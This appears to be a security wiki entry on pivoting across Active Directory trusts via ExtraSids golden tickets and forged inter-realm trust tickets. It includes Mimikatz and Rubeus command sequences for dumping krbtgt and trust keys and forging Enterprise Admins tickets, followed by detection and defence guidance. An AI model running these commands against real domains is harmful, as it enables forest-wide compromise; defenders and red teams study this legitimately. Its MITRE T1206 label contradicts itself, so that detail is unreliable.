Active Directory Trust Pivoting
AD trusts let users in one domain authenticate to resources in another. From an attacker’s seat, they are lateral-movement highways: compromise a less-secured child or subsidiary domain, then ride the trust into the forest root. The canonical technique — developed by Benjamin Delpy and Sean Metcalf and popularized as the “Trustpocalypse” — forges a Kerberos ticket whose PAC carries a privileged SID-history (ExtraSids) entry, typically the forest root’s Enterprise Admins SID. Because domains inside a forest do not SID-filter intra-forest referrals, the target domain accepts the forged group membership and grants enterprise-admin access. The forest — not the domain — is the real security boundary in Active Directory.
- MITRE: T1550.003 — Pass the Ticket, T1558.001 — Golden Ticket, T1206 — Rogue Domain Controller (SID filtering context)
Background: inter-realm Kerberos
When a client requests a service in a trusted domain, its own KDC cannot issue
that service ticket. Instead it returns an inter-realm TGT (referral ticket) —
a TGT for the remote KDC, encrypted with the trust key: a shared secret stored
as the key of the trust account (TRUSTEDDOMAIN$) in each domain’s directory.
Trust keys rotate roughly every 30 days — but independently of krbtgt rotation,
which matters for persistence (below). The client presents the referral to the
foreign KDC, which decrypts it with the trust key, trusts the embedded PAC
(subject to SID filtering), and issues a service ticket.
Two forging paths exist, differing only in which key material you steal:
| Variant | Key material | Result |
|---|---|---|
| Golden ticket + ExtraSids | krbtgt NT hash of the current (child) domain | Forged child-domain TGT carrying Enterprise Admins SID → presented up the trust |
| Forged inter-realm TGT (“trust ticket”) | Trust key (CHILDDOMAIN$ NT hash, via lsadump::trust /patch or DCSync) | Forged referral ticket directly for the target domain, same ExtraSids injection |
The trust-ticket variant survives double krbtgt rotation (Microsoft’s recommended
golden-ticket remediation) because rotating krbtgt does not rotate trust
keys. In practice, an attacker who can DCSync one usually has both — but the trust
key is the more durable backdoor. Both variants work only across intra-forest
trusts (or external trusts with SID filtering explicitly relaxed): SID filtering
strips ForestSpecific SIDs like Enterprise Admins (S-1-5-21-*-519) from PACs
arriving across forest boundaries.
Enumeration
Map the trust mesh first (PowerView): Get-NetDomainTrust /
Get-NetForestTrust, then Get-DomainSID for the current domain and
Get-NetGroup "Enterprise Admins" -Domain $ROOT_DOMAIN for the RID-519 SID to
inject. BloodHound charts trust edges automatically.
Execution — golden ticket variant (child → forest root)
# SIDs
Get-DomainSID # current domain SID
Get-NetGroup "Enterprise Admins" -Domain $ROOT_DOMAIN |
select cn, objectsid # S-1-5-21-<root>-519
# Steal krbtgt (DCSync, needs DA-equivalent in child domain)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName $CHILD_DC
# Forge golden ticket with ExtraSids = Enterprise Admins
Invoke-Mimikatz -Command '"kerberos::golden /user:$ANY_USER
/domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID
/sids:$EA_SID /rc4:$KRBTGT_NTLM /ticket:golden.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt golden.kirbi"'
ls \\$ROOT_DC\C$ # verifyExecution — inter-realm trust ticket variant
# Dump the trust key for the target trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName $CHILD_DC
# Forge the inter-realm TGT (service = krbtgt of the TARGET domain)
Invoke-Mimikatz -Command '"kerberos::golden /user:$ANY_USER
/domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /sids:$EA_SID
/rc4:$TRUST_KEY_NTLM /service:krbtgt /target:$ROOT_DOMAIN
/ticket:trust.kirbi"'
# Exchange it for a service ticket in the root domain
Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/$ROOT_DC /dc:$ROOT_DC /ptt
ls \\$ROOT_DC\C$Once on the root DC, DCSync the target admin
(lsadump::dcsync /user:$ROOT_DOMAIN\$ADMIN) and pass-the-hash
(sekurlsa::pth) for a session. Impacket equivalents: ticketer.py for forging,
raiseChild.py automates the whole child→root path.
Detection & defense
- Double-rotate
krbtgtin every domain of the forest after a suspected compromise — and audit/rotate trust account passwords too, or trust tickets survive the cleanup. - Alert on Event 4768/4769 with abnormal PAC contents (SID-history entries
referencing foreign domains), and on
lsadump::trust-style access to TDO objects. - Enable SID filtering / quarantine where trust relationships genuinely require it, understanding it breaks transitivity conveniences; monitor for forged tickets via PAC validation failures.
- The architectural fix is an ESAE (“red forest”) administrative tier: don’t let tier-0 credentials exist in less-trusted domains at all.
Related: kerberos, golden-and-silver-ticket-attacks, kerberoasting, rubeus, active-directory-certificate-services, active-directory-domains-trees-forests, drsuapi.
Sources
- harmj0y — A Guide to Attacking Domain Trusts (2017)
- adsecurity.org — It’s All About Trust: Forging Kerberos Trust Tickets (2015)
- adsecurity.org — Kerberos Golden Tickets are Now More Golden (Sean Metcalf, 2015)
- dirkjanm.io — Active Directory forest trusts part 1: How does SID filtering work?
- MITRE ATT&CK T1550.003 — Pass the Ticket
- MITRE ATT&CK T1558.001 — Golden Ticket
- MITRE ATT&CK T1206 — Sudo Caching (archived 2020-04-01)
- The Hacker Recipes — Active Directory Trusts